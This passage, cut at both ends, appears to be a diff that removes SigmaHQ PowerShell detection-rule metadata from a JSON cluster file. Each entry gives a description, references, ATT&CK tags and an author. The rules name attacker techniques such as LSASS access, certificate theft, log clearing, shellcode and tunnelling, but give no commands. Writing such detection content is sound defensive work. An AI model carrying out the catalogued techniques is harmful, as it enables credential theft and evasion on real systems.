"medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects use of Set-ExecutionPolicy to set insecure policies", - "uuid": "61d0475c-173f-4844-86f7-f3eebae1c66b", - "value": "Change PowerShell Policies to an Insecure Level", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", - "https://adsecurity.org/?p=2604", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2021/10/20", - "filename": "posh_ps_set_policies_to_unsecure_level.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Administrator script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Base64 encoded Shellcode", - "uuid": "16b37b70-6fcf-4814-a092-c36bd3aafcbd", - "value": "PowerShell ShellCode", - "meta": { - "refs": [ - "https://twitter.com/cyb3rops/status/1063072865992523776", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellcode_b64.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2018/11/17", - "filename": "posh_ps_shellcode_b64.yml", - "author": "David Ledbetter (shellcode), Florian Roth (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Commandlet names from ShellIntel exploitation scripts.", - "uuid": "402e1e1d-ad59-47b6-bf80-1ee44985b3a7", - "value": "Malicious ShellIntel PowerShell Commandlets", - "meta": { - "refs": [ - "https://github.com/Shellntel/scripts/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2021/08/09", - "filename": "posh_ps_shellintel_malicious_commandlets.yml", - "author": "Max Altgelt, Tobias Michalski", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", - "uuid": "2650dd1a-eb2a-412d-ac36-83f06c4f2282", - "value": "Detected Windows Software Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", - "https://github.com/harleyQu1nn/AggressorScripts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1518" - ], - "creation_date": "2020/10/16", - "filename": "posh_ps_software_discovery.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.", - "uuid": "a699b30e-d010-46c8-bbd1-ee2e26765fe9", - "value": "Powershell Store File In Alternate Data Stream", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_store_file_in_alternate_data_stream.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2021/09/02", - "filename": "posh_ps_store_file_in_alternate_data_stream.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", - "uuid": "88f0884b-331d-403d-a3a1-b668cf035603", - "value": "AD Groups Or Users Enumeration Using PowerShell - ScriptBlock", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ad_group_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ], - "creation_date": "2021/12/15", - "filename": "posh_ps_susp_ad_group_reco.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of known powershell cmdlets such as \"Clear-EventLog\" to clear the windows event logs", - "uuid": "0f017df3-8f5a-414f-ad6b-24aff1128278", - "value": "Suspicious Eventlog Clear", - "meta": { - "refs": [ - "https://twitter.com/oroneequalsone/status/1568432028361830402", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", - "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001" - ], - "creation_date": "2022/09/12", - "filename": "posh_ps_susp_clear_eventlog.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Rare need to clear logs before doing something. Sometimes used by installers or cleaner scripts. The script should be investigated to determine if it's legitimate" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects technique used by MAZE ransomware to enumerate directories using Powershell", - "uuid": "162e69a7-7981-4344-84a9-0f1c9a217a52", - "value": "Powershell Directory Enumeration", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", - "https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_directory_enum.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ], - "creation_date": "2022/03/17", - "filename": "posh_ps_susp_directory_enum.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious PowerShell download command", - "uuid": "403c2cc0-7f6b-4925-9423-bfa573bed7eb", - "value": "Suspicious PowerShell Download", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_download.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/05", - "filename": "posh_ps_susp_download.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "PowerShell scripts that download content from the Internet" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse the Windows command shell for execution.\nThe Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems.\nThe Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.\nCommon uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system\n", - "uuid": "b5522a23-82da-44e5-9c8b-e10ed8955f88", - "value": "Powershell Execute Batch Script", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_execute_batch_script.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ], - "creation_date": "2022/01/02", - "filename": "posh_ps_susp_execute_batch_script.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administration script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Commandlet that is used to export certificates from the local certificate store and sometimes used by threat actors to steal private keys from compromised machines", - "uuid": "aa7a3fce-bef5-4311-9cc1-5f04bb8c308c", - "value": "Suspicious Export-PfxCertificate", - "meta": { - "refs": [ - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", - "https://docs.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_export_pfxcertificate.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.004" - ], - "creation_date": "2021/04/23", - "filename": "posh_ps_susp_export_pfxcertificate.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.\nThese can be files created by users to store their own credentials, shared credential stores for a group of individuals,\nconfiguration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n", - "uuid": "bd5971a7-626d-46ab-8176-ed643f694f68", - "value": "Extracting Information with PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001" - ], - "creation_date": "2021/12/19", - "filename": "posh_ps_susp_extracting.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of \"TroubleshootingPack\" cmdlets to leverage CVE-2022-30190 or action similar to \"msdt\" lolbin (as described in LOLBAS)", - "uuid": "03409c93-a7c7-49ba-9a4c-a00badf2a153", - "value": "Troubleshooting Pack Cmdlet Execution", - "meta": { - "refs": [ - "https://twitter.com/nas_bench/status/1537919885031772161", - "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2022/06/21", - "filename": "posh_ps_susp_follina_execution.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate usage of \"TroubleshootingPack\" cmdlet for troubleshooting purposes" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", - "uuid": "84c174ab-d3ef-481f-9c86-a50d0b8e3edb", - "value": "PowerShell Get-Process LSASS in ScriptBlock", - "meta": { - "refs": [ - "https://twitter.com/PythonResponder/status/1385064506049630211", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2021/04/23", - "filename": "posh_ps_susp_getprocess_lsass.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious Powershell code that execute COM Objects", - "uuid": "8bc063d5-3a3a-4f01-a140-bc15e55e8437", - "value": "Suspicious GetTypeFromCLSID ShellExecute", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.015" - ], - "creation_date": "2022/04/02", - "filename": "posh_ps_susp_gettypefromclsid.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "utilize Get-AdComputer to enumerate Computers within Active Directory.", - "uuid": "36bed6b2-e9a0-4fff-beeb-413a92b86138", - "value": "Suspicious Enumerate Active Directory Computers with Get-AdComputer", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adcomputer.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ], - "creation_date": "2022/03/17", - "filename": "posh_ps_susp_get_adcomputer.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.", - "uuid": "bbb9495b-58fc-4016-b9df-9a3a1b67ca82", - "value": "Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy", - "https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_addefaultdomainpasswordpolicy.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1201" - ], - "creation_date": "2022/03/17", - "filename": "posh_ps_susp_get_addefaultdomainpasswordpolicy.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Get-AdGroup to enumerate Groups within Active Directory", - "uuid": "8c3a6607-b7dc-4f0d-a646-ef38c00b76ee", - "value": "Suspicious Enumerate Active Directory Groups with Get-AdComputer", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adgroup.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.002" - ], - "creation_date": "2022/03/17", - "filename": "posh_ps_susp_get_adgroup.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of PowerShell to identify the current logged user.", - "uuid": "4096a49c-7de4-4da0-a230-c66ccd56ea5a", - "value": "Suspicious PowerShell Get Current User", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033" - ], - "creation_date": "2022/04/04", - "filename": "posh_ps_susp_get_current_user.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of Get-GPO to get one GPO or all the GPOs in a domain.", - "uuid": "eb2fd349-ec67-4caa-9143-d79c7fb34441", - "value": "Suspicious GPO Discovery With Get-GPO", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", - "https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_gpo.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1615" - ], - "creation_date": "2022/06/04", - "filename": "posh_ps_susp_get_gpo.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Get the processes that are running on the local computer.", - "uuid": "af4c87ce-bdda-4215-b998-15220772e993", - "value": "Suspicious Process Discovery With Get-Process", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_process.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1057" - ], - "creation_date": "2022/03/17", - "filename": "posh_ps_susp_get_process.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers", - "uuid": "0332a266-b584-47b4-933d-a00b103e1b37", - "value": "Suspicious Get-WmiObject", - "meta": { - "refs": [ - "https://attack.mitre.org/datasources/DS0005/", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546" - ], - "creation_date": "2022/01/12", - "filename": "posh_ps_susp_gwmi.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection", - "uuid": "42d36aa1-3240-4db0-8257-e0118dcdd9cd", - "value": "Suspicious Hyper-V Cmdlets", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.006" - ], - "creation_date": "2022/04/09", - "filename": "posh_ps_susp_hyper_v_condlet.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious PowerShell invocation command parameters", - "uuid": "ed965133-513f-41d9-a441-e38076a0798f", - "value": "Suspicious PowerShell Invocations - Generic", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_generic.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/12", - "filename": "posh_ps_susp_invocation_generic.yml", - "author": "Florian Roth (rule)", - "level": "high", - "falsepositive": [ - "Very special / sneaky PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious PowerShell invocation command parameters", - "uuid": "ae7fbf8e-f3cb-49fd-8db4-5f3bed522c71", - "value": "Suspicious PowerShell Invocations - Specific", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_specific.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/05", - "filename": "posh_ps_susp_invocation_specific.yml", - "author": "Florian Roth (rule), Jonhnathan Ribeiro", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.\nCommands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n", - "uuid": "d4488827-73af-4f8d-9244-7b7662ef046e", - "value": "Change User Agents with WebRequest", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2022/01/23", - "filename": "posh_ps_susp_invoke_webrequest_useragent.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Open a handle on the drive volume via the \\\\.\\ DOS device path specifier and perform direct access read of the first few bytes of the volume.", - "uuid": "70ad982f-67c8-40e0-a955-b920c2fa05cb", - "value": "Suspicious IO.FileStream", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ], - "creation_date": "2022/01/09", - "filename": "posh_ps_susp_iofilestream.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects keywords that could indicate the use of some PowerShell exploitation framework", - "uuid": "1f49f2ab-26bc-48b3-96cc-dcffbc93eadf", - "value": "Suspicious PowerShell Keywords", - "meta": { - "refs": [ - "https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462", - "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1", - "https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1", - "https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keywords.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/02/11", - "filename": "posh_ps_susp_keywords.yml", - "author": "Florian Roth, Perez Diego (@darkquassar)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", - "uuid": "fa6a5a45-3ee2-4529-aa14-ee5edc9e29cb", - "value": "Suspicious Get Local Groups Information", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_local_group_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ], - "creation_date": "2021/12/12", - "filename": "posh_ps_susp_local_group_reco.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may target user email on local systems to collect sensitive information.\nFiles containing email data can be acquired from a users local system, such as Outlook storage or cache files.\n", - "uuid": "2837e152-93c8-43d2-85ba-c3cd3c2ae614", - "value": "Powershell Local Email Collection", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mail_acces.yml" - ], - "tags": [ - "attack.collection", - "attack.t1114.001" - ], - "creation_date": "2021/07/21", - "filename": "posh_ps_susp_mail_acces.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", - "uuid": "66a4d409-451b-4151-94f4-a55d559c49b0", - "value": "PowerShell Deleted Mounted Share", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mounted_share_deletion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.005" - ], - "creation_date": "2020/10/08", - "filename": "posh_ps_susp_mounted_share_deletion.yml", - "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "level": "medium", - "falsepositive": [ - "Administrators or Power users may remove their shares via cmd line" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", - "uuid": "29e1c216-6408-489d-8a06-ee9d151ef819", - "value": "Suspicious Mount-DiskImage", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image", - "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mount_diskimage.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.005" - ], - "creation_date": "2022/02/01", - "filename": "posh_ps_susp_mount_diskimage.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.\nWithout knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism\n", - "uuid": "1883444f-084b-419b-ac62-e0d0c5b3693f", - "value": "Suspicious Connection to Remote Account", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110.001" - ], - "creation_date": "2021/12/27", - "filename": "posh_ps_susp_networkcredential.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.", - "uuid": "1c563233-030e-4a07-af8c-ee0490a66d3a", - "value": "Suspicious New-PSDrive to Admin Share", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2022/08/13", - "filename": "posh_ps_susp_new_psdrive.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity", - "uuid": "bd33d2aa-497e-4651-9893-5c5364646595", - "value": "Suspicious TCP Tunnel Via PowerShell Script", - "meta": { - "refs": [ - "https://github.com/Arno0x/PowerShellScripts/blob/a6b7d5490fbf0b20f91195838f3a11156724b4f7/proxyTunnel.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_proxy_scripts.yml" - ], - "tags": [ - 